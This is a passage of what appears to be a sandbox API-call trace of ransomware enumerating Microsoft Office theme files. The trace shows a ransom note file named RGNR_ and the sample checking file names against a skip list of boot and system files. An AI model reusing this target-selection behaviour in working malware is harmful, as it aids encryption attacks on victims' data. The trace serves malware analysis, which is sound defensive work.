lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Composite.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Composite.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Concourse.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Concourse.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Couture.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Couture.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Elemental.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Elemental.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Equity.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Equity.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Essential.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Essential.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Executive.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Executive.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Flow.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Flow.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Foundry.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Grid.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Grid.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Horizon.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Median.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Median.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Metro.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Metro.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Module.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Module.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Opulent.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Oriel.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Origin.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Origin.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Paper.eftx", lpString2=".") returned 1 [0093.782] lstrcmpiW (lpString1="Paper.eftx", lpString2="..") returned 1 [0093.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0093.782] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Perspective.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a228760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.783] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Solstice.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Technic.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Technic.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Thatch.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Trek.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Trek.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Urban.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Urban.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Verve.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Verve.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0093.783] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".") returned 1 [0093.783] lstrcmpiW (lpString1="Waveform.eftx", lpString2="..") returned 1 [0093.783] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0093.783] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a228760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.784] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a228760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.784] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0093.784] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.784] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Adjacency.eftx" | out: lpString1="Adjacency.eftx") returned="Adjacency.eftx" [0093.784] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned=".eftx" [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="autorun.inf") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="boot.ini") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootfont.bin") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootsect.bak") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootmgr") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootmgr.efi") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootmgfw.efi") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="desktop.ini") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="iconcache.db") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="ntldr") returned -1 [0093.784] lstrcmpiW (lpString1="Adjacency.eftx", 